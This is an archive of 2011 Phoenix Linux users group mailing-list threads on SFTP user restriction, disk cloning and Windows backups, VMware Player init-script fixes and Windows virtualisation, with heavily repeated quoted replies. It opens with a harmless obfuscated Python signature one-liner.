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python -c exec(\import math\\nprint ''.join(map(lambda x: chr(x), (
(ord('a')-(3*5)), int(math.sqrt(math.pi*76)*5+2),
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Re: How to Restrict a User's Access Using SFTP?
Eric, vsftp is in the Debian repositories, but the developer's tool does not use it...only sftp or ftp. The program is iWeb on the mac. However, the article http://www.debian-administration.org/articles/590 did the trick for me! Mark On Thu, Dec 29, 2011 at 12:20 PM, Eric Shubert e...@shubes.net wrote: Oops. Sorry Mark. I forgot that you said sftp, which is part of OpenSSH. I'm using vsftp, which does not require a login shell. Probably why it's considered very secure. ;) I expect that if vsftp is in a debian repo, you could use that instead of sftp. vsftpd is stock in the RHEL repos. On 12/29/2011 08:04 AM, Mark Phillips wrote: Eric, The Debian equivalent to /sbin/nologin appears to be /bin/false. When I tried that, I could not sftp or ssh or gain access to the machine in anyway. I am not sure if there is another Debian shell that allows sftp but not ssh. Thanks! Mark On Wed, Dec 28, 2011 at 9:54 PM, Eric Shubert e...@shubes.net mailto:e...@shubes.net wrote: That should be ok. Be sure you have your ftp server configured such that they cannot access folders above/across their home folder. File permissions may handle this, but probably will not (many things are world readable). Also, be sure that they cannot login to a command prompt by setting their login shell to /sbin/nologin (might vary with distro). This is commonly done for service accounts (apache, etc). On 12/28/2011 03:38 PM, Mark Phillips wrote: Thanks to everyone for their suggestions. Based on some constraints, your advice, some googling, I arrived at this set-up, but I am not sure how secure it is. 1. The web creation software (iWeb on a Mac) only supports ftp and sftp to upload a site. 2. iWeb does not support the use of versions for the web pages. By that I mean iWeb is strictly one way - create a site and publish it. It cannot import an iWeb site, it has to start at the beginning. One can create a site and publish it, then edit the site, and publish again, but it cannot import or use a previous version of the site as a starting point. (I mention this because Eric suggested using git, which sounded like a great idea, but alas I have this setup, but I could use some advice on how to make it more secure 1. User account fred 2. fred's home is /var/www/domain/fred 3. /var/www/domain/fred has owner:group fred:fred 4. Document root is /var/www/domain/fred Thanks, Mark On Wed, Dec 28, 2011 at 10:26 AM, Eric Shubert e...@shubes.net mailto:e...@shubes.net mailto:e...@shubes.net mailto:e...@shubes.net wrote: On 12/27/2011 10:46 PM, Mark Phillips wrote: I need to give a user access to my web server via sftp to upload web site changes. What is the best way to do this? I have several other sites on the same server, so I want to prevent them or anyone else who gains access to their account from being able to make changes to those sites or other parts of the server. Thanks, Mark I use vsftp, which can be configured to allow users access only to their web site's tree. sftp might be able to do the same. Then, create their user such that their home directory is their web site's directory, and they cannot log in to the system (only vsftp) with an /etc/passwd entry like this: vsftpuser:x:511:511::/var/**vhosts/domain.com/docs:/sbin/_** ___nologin http://domain.com/docs:/sbin/nologin http://domain.com/docs:/sbin/**__nologinhttp://domain.com/docs:/sbin/__nologin http://domain.com/docs:/sbin/**__nologinhttp://domain.com/docs:/sbin/__nologin http://domain.com/docs:/sbin/**nologinhttp://domain.com/docs:/sbin/nologin Files in their web site are owned by their user, with read permissions for 'other' (o+r), which allows apache (or nginx) to read them. -- -Eric 'shubes' --**- PLUG-discuss mailing list - plug-disc...@lists.plug.__phoe**__nix.az.ushttp://phoe__nix.az.us http://phoenix.az.us mailto:PLUG-discuss@lists.__p**lug.phoenix.az.ushttp://plug.phoenix.az.us mailto:PLUG-discuss@lists.**plug.phoenix.az.usPLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az._**___us/mailman/listinfo/plug-__** __discuss http://lists.PLUG.phoenix.az.**__us/mailman/listinfo/plug
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Merry Christmas and Happy New Year!!! Mark On Sat, Dec 24, 2011 at 3:22 PM, AZ RUNE arizona.r...@gmail.com wrote: Merry Christmas!! :-) -- Brian Fields arizona.r...@gmail.com An amateur practices 'til they get it right, a professional practices 'til they can't get it wrong. - Anon. if it isn't armour, or you can't take it to bed, it isn't worth havin' --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Need Help Printing Java Source Files in Color
I use 32bit Eclipse on an AMD64 Debian testing machine because Android development requires 32 bit Eclipse. I am supposed to be able to print from within Eclipse, but it does not work - it says it cannot find any printers. This has been a long standing issue with Eclipse and GTK, and it was solved a few versions ago. I have the 32bit gtk libraries installed, but it still won't print. I have posted a question about this in the Eclipse forums. There is also a way to print from within Eclipse using lpr from the command line. However, I don't get the pretty colors that make reading the source code easier. My question: Is there some program that I can pipe the .java text file through and then send it to lpr so it prints the colorized source file (and perhaps add a footer with a date, file name, etc.)? Something that knows how to intelligently add color to a Java (or XML, or Python or ...) source file? Thanks, Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: need some visual help...
I called a few minutes ago, but you were busy. I hope it means someone is helping you! Good luck! Mark On Wed, Nov 30, 2011 at 1:40 PM, Technomage Hawke technomage.ha...@gmail.com wrote: ok, I am going to need some visual assistance. I need to setup opensuse on a new HD and there appears to be no way for me to do so in a non-visual way. so if someone can get hold of me on Skype (technomage-hawke) I can start a video session and get the ball rolling. someone please help here. -eric Skype: technomage-hawke phone: 623-399-5635 --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: need some visual help...
Eric, Not sure if this will help, but it looks promising... http://doc.opensuse.org/products/draft/SLES/SLES-deployment_sd_draft/cha.deployment.autoinst.html Mark On Wed, Nov 30, 2011 at 4:42 PM, Technomage Hawke technomage.ha...@gmail.com wrote: I ended up out of the room for a bit. I am here now if you can still help. -eric On Nov 30, 2011, at 3:58 PM, Mark Phillips wrote: I called a few minutes ago, but you were busy. I hope it means someone is helping you! Good luck! Mark On Wed, Nov 30, 2011 at 1:40 PM, Technomage Hawke technomage.ha...@gmail.com wrote: ok, I am going to need some visual assistance. I need to setup opensuse on a new HD and there appears to be no way for me to do so in a non-visual way. so if someone can get hold of me on Skype (technomage-hawke) I can start a video session and get the ball rolling. someone please help here. -eric Skype: technomage-hawke phone: 623-399-5635 --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: need some visual help...
Good luck! Mark On Nov 30, 2011 5:42 PM, Technomage Hawke technomage.ha...@gmail.com wrote: that is a lot of heavy reading. its mostly for the enterprise version but there is no reason why it shouldn't work here. -eric On Nov 30, 2011, at 5:28 PM, Mark Phillips wrote: Eric, Not sure if this will help, but it looks promising... http://doc.opensuse.org/products/draft/SLES/SLES-deployment_sd_draft/cha.deployment.autoinst.html Mark On Wed, Nov 30, 2011 at 4:42 PM, Technomage Hawke technomage.ha...@gmail.com wrote: I ended up out of the room for a bit. I am here now if you can still help. -eric On Nov 30, 2011, at 3:58 PM, Mark Phillips wrote: I called a few minutes ago, but you were busy. I hope it means someone is helping you! Good luck! Mark On Wed, Nov 30, 2011 at 1:40 PM, Technomage Hawke technomage.ha...@gmail.com wrote: ok, I am going to need some visual assistance. I need to setup opensuse on a new HD and there appears to be no way for me to do so in a non-visual way. so if someone can get hold of me on Skype (technomage-hawke) I can start a video session and get the ball rolling. someone please help here. -eric Skype: technomage-hawke phone: 623-399-5635 --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Before I blow windows away....
Stephen, One caveat with clonezilla - it cannot handle a disk to disk clone if the source has 512 byte sectors and the destination has 4096 byte sectors. Many of the new, larger, drives use 4096 byte sectors, and this is a problem than clonezilla has not yet addressed (I have been waiting 6 months). Their work around is to copy an image to another storage location, then copy the image back to the destination. However, you end up with a 4096 byte sector hard drive formatted with 512 byte sectors, and the accompanying loss in performance. Mark On Mon, Nov 28, 2011 at 8:14 AM, Stephen cryptwo...@gmail.com wrote: In the future, if you have a need to backup an OS for possible later use i suggest looking at clonezilla. it will back up to Internal drive, usb, nfs, smb, or ftp and it uses dd to make a low level backup of your drive and partclone to map your partition layout and will do just about every Os i have run into including mac. An its not Microsoft, its the OEM vendors not shipping media, you can order replacement media usually for 10-20 bux to cover SH ect if you grumble enough they will sometimes just send it to you. and even then your 50/50 odds at getting restore media as opposed to install media. On Sat, Nov 26, 2011 at 11:51 AM, Michael Havens bmi...@gmail.com wrote: I didn't care to keep windows. I blew it away! On Sat, Nov 26, 2011 at 11:36 AM, Mark Phillips m...@phillipsmarketing.biz wrote: Win 7 works just fine as a dual boot with Debian. It also plays very well in VMPlayer with Debian as the host. Mark On Sat, Nov 26, 2011 at 11:04 AM, Charles Lewton clewto...@gmail.com wrote: Michael, If you have enough disk space, dual boot is a good option. Or does 7 not like dual boot? Chuck On 11/25/11, Michael Havens bmi...@gmail.com wrote: Before I blow windows away I think I should make a copy of the hard drive in case I need to re-install it. How do I do that and can I back up the boot sector as well? I'll be backing up to a cd. Would I use dd? -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- A mouse trap, placed on top of your alarm clock, will prevent you from rolling over and going back to sleep after you hit the snooze button. Stephen --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Vmware Player Prevents Aptitude from Installing Packages
According to the vmware site ( http://www.vmware.com/products/player/faqs.html): What can I do with VMware Player? Use VMware Player to create, run, evaluate, and share software running in virtual machines: - *Create*: Use VMware Player to create virtual machines with the latest 32-bit and 64-bit Windows and Linux operating systems. With Easy Install it’s easier than installing them directly on your PC. - *Run*: VMware Player can be used by anyone to run virtual machines on a Windows or Linux PC. VMware Player makes it quick and easy to take advantage of the security, flexibility, and portability of virtual machines. - *Evaluate*: VMware Player is ideal for safely evaluating software distributed as a virtual appliance. Virtual appliances are pre-built, pre-configured and ready-to-run enterprise software applications packaged along with an operating system in a virtual machine. With VMware Player, anyone can quickly and easily experience the benefits of preconfigured products without any installation or configuration hassles. Run over 900 virtual appliances from leading software vendors available from the VMware Virtual Appliance Marketplace http://www.vmware.com/appliances/. - *Share*: VMware Player can be used by anyone to run a virtual machine shared by a colleague or friend. For example, customer support and development teams can share a customer scenario encapsulated within a virtual machine. So, I am using it as designed - to run Windows 7 in a VM under Debian. The problem turned out to be the missing LSB in the script vmware-USBArbitrator. I add theses lines to the script, and I was able to install cups with no errors and run vmware. ### BEGIN INIT INFO # Provides: vmware-USBArbitrator # Required-Start:$remote_fs $syslog # Required-Stop: $remote_fs $syslog # Default-Start: 2 3 5 # Default-Stop: 2 3 5 # Short-Description: Start daemon when vmware starts # Description: Enable service provided by daemon. ### END INIT INFO see http://wiki.debian.org/LSBInitScripts/DependencyBasedBoot and http://wiki.debian.org/LSBInitScriptsand in order for it to work you have to be having a lucky day! ;) Mark On Fri, Nov 25, 2011 at 11:23 PM, Technomage Hawke technomage.ha...@gmail.com wrote: the name player in the name of it is the biggest hint. the player is designed to show off or demonstrate an OS inside the VM. it is generally considered to be read only. you need a full version vmware server capable of running any OS in read-write mode). there is a free version vmware-server )I think it is the version 1 series) that you can still download from vmware. they make a version for both windows and linux. this free server doesn't have a corresponding kind on OS X. on that OS, you have to use VMware-fusion (and it is not free). hope this helps -eric On Nov 25, 2011, at 11:11 PM, Mark Phillips wrote: I am running a fresh install of debian wheezy. I installed VMware Player 4.0.1 build-528992 and then Windows 7 in a vm. Everything is working properly, until I tried to use aptitude to install foomatic-db-hpijs. VMware seems to be preventing aptitude from installing the debian packages. The error messages: root@orca:~# aptitude install foomatic-db-hpijs Note: selecting foomatic-db instead of the virtual package foomatic-db-hpijs The following NEW packages will be installed: foomatic-db The following partially installed packages will be configured: cups 0 packages upgraded, 1 newly installed, 0 to remove and 15 not upgraded. Need to get 0 B/1,248 kB of archives. After unpacking 6,966 kB will be used. Selecting previously unselected package foomatic-db. (Reading database ... 131007 files and directories currently installed.) Unpacking foomatic-db (from .../foomatic-db_20110831-1_all.deb) ... Setting up cups (1.5.0-12) ... insserv: warning: script 'K01vmware' missing LSB tags and overrides insserv: warning: script 'S50vmware-USBArbitrator' missing LSB tags and overrides insserv: warning: script 'vmware-USBArbitrator' missing LSB tags and overrides insserv: warning: script 'vmware' missing LSB tags and overrides insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv
Re: Before I blow windows away....
Win 7 works just fine as a dual boot with Debian. It also plays very well in VMPlayer with Debian as the host. Mark On Sat, Nov 26, 2011 at 11:04 AM, Charles Lewton clewto...@gmail.comwrote: Michael, If you have enough disk space, dual boot is a good option. Or does 7 not like dual boot? Chuck On 11/25/11, Michael Havens bmi...@gmail.com wrote: Before I blow windows away I think I should make a copy of the hard drive in case I need to re-install it. How do I do that and can I back up the boot sector as well? I'll be backing up to a cd. Would I use dd? -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: oh my goodness....
Not as much as gnome 3 On Nov 25, 2011 11:23 AM, Michael Havens bmi...@gmail.com wrote: even windows7 sucks! -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Before I blow windows away....
Michael, Look on the bottom of the machine, back of machine, top of machine, etc. - you should see a MS sticker with the key if you got Windows pre-sintalled. To create a backup, click start, click on all programs, click on maintenance, click on make a backup. Be sure to make a restore cd when the backup is complete. You will need a place to put the backup - a usb drive would be the best place. You can also create backup CDs - it will tell you how many you need. Once you have the backup and restore CD, I suggest you restore to your computer to make sure it worked. If it didn't, since it is brand new, you should be able to get some support from the reseller or manufacturer. Finally, once the backup is done, wipe the drive and install what you want. Note - if you restore sometime in the future, it will wipe your disk and restore to what you backed up. The WHOLE disk, not just the Windows partition. Mark On Fri, Nov 25, 2011 at 12:13 PM, Michael Havens bmi...@gmail.com wrote: They didn't give me a key! On Fri, Nov 25, 2011 at 7:04 PM, Michael Butash mich...@butash.netwrote: If it's a new pc, I wouldn't bother - it's all spy/adware/demo anyways im sure. Otherwise just liveboot with a linux cd, pop in a usb drive, and rsync -avh the ntfs filesystem somewhere in case there's something you need you forgot. I usually keep them a few weeks (or whatever if have the space) and end up deleting it later. It's easy enough to find a oem windoze cd online, just install in a vm with your key, and call microsoft to reset your wga for the vm - instant portable windoze. This is what I've done with an xp image on vmware/virtuabox for a good 6-7 years now. I don't need anything else considering it's a) always behind a nat for protection, b) never gets used to browse, and b) just runs visio. If you move it around, just don't change the mac or hardware types much or it'll reset the wga bulls***. Really need something like a portable citrix xenapp for this kind of thing that doesn't cost a left arm or require infrastructure... -mb On 11/25/2011 11:36 AM, Michael Havens wrote: I thought to myself that I would keep Windows7 until it got loaded up with viri and spyware and all those nice things because I thought that there were things that would be cool to use for a bit. then I got the machine home! I don't even WANT any of the crap they got on there! On Fri, Nov 25, 2011 at 6:31 PM, Michael Havens bmi...@gmail.com mailto:bmi...@gmail.com wrote: Before I blow windows away I think I should make a copy of the hard drive in case I need to re-install it. How do I do that and can I back up the boot sector as well? I'll be backing up to a cd. Would I use dd? -- :-)~MIKE~(-: -- :-)~MIKE~(-: --**- PLUG-discuss mailing list - plug-disc...@lists.plug.**phoenix.az.usPLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.**us/mailman/listinfo/plug-**discusshttp://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --**- PLUG-discuss mailing list - plug-disc...@lists.plug.**phoenix.az.usPLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.**us/mailman/listinfo/plug-**discusshttp://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Vmware Player Prevents Aptitude from Installing Packages
I am running a fresh install of debian wheezy. I installed VMware Player 4.0.1 build-528992 and then Windows 7 in a vm. Everything is working properly, until I tried to use aptitude to install foomatic-db-hpijs. VMware seems to be preventing aptitude from installing the debian packages. The error messages: root@orca:~# aptitude install foomatic-db-hpijs Note: selecting foomatic-db instead of the virtual package foomatic-db-hpijs The following NEW packages will be installed: foomatic-db The following partially installed packages will be configured: cups 0 packages upgraded, 1 newly installed, 0 to remove and 15 not upgraded. Need to get 0 B/1,248 kB of archives. After unpacking 6,966 kB will be used. Selecting previously unselected package foomatic-db. (Reading database ... 131007 files and directories currently installed.) Unpacking foomatic-db (from .../foomatic-db_20110831-1_all.deb) ... Setting up cups (1.5.0-12) ... insserv: warning: script 'K01vmware' missing LSB tags and overrides insserv: warning: script 'S50vmware-USBArbitrator' missing LSB tags and overrides insserv: warning: script 'vmware-USBArbitrator' missing LSB tags and overrides insserv: warning: script 'vmware' missing LSB tags and overrides insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and therefore on system facility `$all' which can not be true! insserv: Starting vmware-USBArbitrator depends on rmnologin and
Re: Happy thanksgiving you all!
I second the motion - I hope everyone has a Happy and Filling Thanksgiving!!! Mark On Thu, Nov 24, 2011 at 2:07 PM, Michael Havens bmi...@gmail.com wrote: What are you thankful for? I'm grateful for the advice and guidance you;ve given me. a know-nothing Linux geek. -- :-)~MIKE~(-: --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Need Virtualization Advice
On Tue, Nov 22, 2011 at 11:30 PM, Dazed_75 lthiels...@gmail.com wrote: To some earlier questions in this thread: The free version of VirtualBox can use USB devices though I think you have to install the Guest additions. You can convert your physical install to a virtual machine: https://www.virtualbox.org/wiki/Migrate_Windows http://www.sysprobs.com/virtualbox-p2v-disk2vhd-errors-fix and for VMware: http://www.vmware.com/products/converter/ I installed the vmware converter on my Windows partition and found that it converts the entire disk...I stopped at that point because all I wanted is the Windows partition (60 GB) and not the entire 750 GB disk with Windows and Debian. Is there a way to use the converter just for the Windows partition? Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Need Virtualization Advice
I have managed to fill up my laptop's dual boot (Win 7 and Debian testing) 320 GB drive, so I have a new shiny 750 GB drive to install. I have tried to use Clonezilla, and it keeps failing because the old drive has 512 byte sectors and the new drive has 4096 byte sectors. No problem; I will just create a system image of the Windows partitions to move that to the new drive, net install Debian testing, and copy over my user files. However, I was thinking that I could get rid of the dual boot and just virtualize the Windows partition. My questions - 1. Can I create a virtual version of my Windows 7 Home Premium using the system recovery disk and the backup on my external usb drive? So far, it installs to the new 750 GB drive with no issues. I don't have any original media disks. 2. Vmware or Virtualbox? Do either one support usb so I can run iTunes on my virtual Windows drive? A while ago I was able to get vmware to run off of the Windows disk partition, but it seemed to break every time I ran an upgrade on Debian, and it was a pain to get it to work each time. I don't want to fiddle with this approach again, unless I have to. Thanks for your suggestions! Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Need Virtualization Advice
Derek, Dell laptops no longer come with install media. Windows is installed and all you can do is make a back up copy and a rescue disk. BTW, I live in Phoenix, so your laws are my laws...but we don't share the same in-laws.oh man, that was really terrible;) Mark On Tue, Nov 22, 2011 at 9:05 PM, Derek Trotter expat.arizo...@gmail.comwrote: Mark I understand you don't have the install discs for windows 7. This has me wondering if there is some copy protection scheme that makes it difficult to copy the windows 7 install disc(s). If so is there a linux program that will get around it? Disclaimer: I'm not condoning the use of pirated software in violation of any applicable laws where you live. There is considerable expense involved in replacing a legit copy of any micro$oft OS. So a backup would come in handy. On 11/22/2011 18:40, Mark Phillips wrote: I have managed to fill up my laptop's dual boot (Win 7 and Debian testing) 320 GB drive, so I have a new shiny 750 GB drive to install. I have tried to use Clonezilla, and it keeps failing because the old drive has 512 byte sectors and the new drive has 4096 byte sectors. No problem; I will just create a system image of the Windows partitions to move that to the new drive, net install Debian testing, and copy over my user files. However, I was thinking that I could get rid of the dual boot and just virtualize the Windows partition. My questions - 1. Can I create a virtual version of my Windows 7 Home Premium using the system recovery disk and the backup on my external usb drive? So far, it installs to the new 750 GB drive with no issues. I don't have any original media disks. 2. Vmware or Virtualbox? Do either one support usb so I can run iTunes on my virtual Windows drive? A while ago I was able to get vmware to run off of the Windows disk partition, but it seemed to break every time I ran an upgrade on Debian, and it was a pain to get it to work each time. I don't want to fiddle with this approach again, unless I have to. Thanks for your suggestions! Mark --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings:http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- That income tax you know it's nothing more than legal robbery Sidney Pa Larkin Please protect my address like I protect yours. When sending messages to multiple recipients, always use the BCC: (Blind carbon copy) and not To: or CC:. Also remove all of the addresses from the message body before forwarding the message. These simple measures prevent spy programs from capturing the addresses shown in the recipient list and the message body. --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
Re: Need Virtualization Advice
Bryan, As far as I know, Dell just says make a backup and recovery disk. It is the very first step after powering on the device. Mark On Tue, Nov 22, 2011 at 9:59 PM, Bryan O'Neal bryan.on...@theonealandassociates.com wrote: FYI If you want a disk from dell just call them up and ask for one. I am not sure if you need to be under support or not since I have always done it right off. Also (thus far ) all dell install media I have ever gotten works on all Dell machines. But I also buy the business grade machines for home use. On 11/22/11, Derek Trotter expat.arizo...@gmail.com wrote: Have you ever read Spider Robinson's Callahan's Place stories? At Callahan's place there's a tradition of the patrons throwing handfulls of peanuts at someone who makes a really bad pun. Don't worry. I can't throw peanuts that far and in current financial state I'd eat peanuts rather than throw them at you. About your laptop. I know that for years PC makers have put the data needed to restore the computer to its from the factory state in a hidden partition on the drive. I didn't know they were no longer including a disc to use in case the hard drive goes belly up. Remind me not to buy a Dell. I want a disc so I can reinstall it after the hard drive goes up in smoke. If I'm going to pay for windows, they can spend an extra 50 cents to include a dvd. On 11/22/2011 21:33, Mark Phillips wrote: Derek, Dell laptops no longer come with install media. Windows is installed and all you can do is make a back up copy and a rescue disk. BTW, I live in Phoenix, so your laws are my laws...but we don't share the same in-laws.oh man, that was really terrible;) Mark On Tue, Nov 22, 2011 at 9:05 PM, Derek Trotter expat.arizo...@gmail.com mailto:expat.arizo...@gmail.com wrote: Mark I understand you don't have the install discs for windows 7. This has me wondering if there is some copy protection scheme that makes it difficult to copy the windows 7 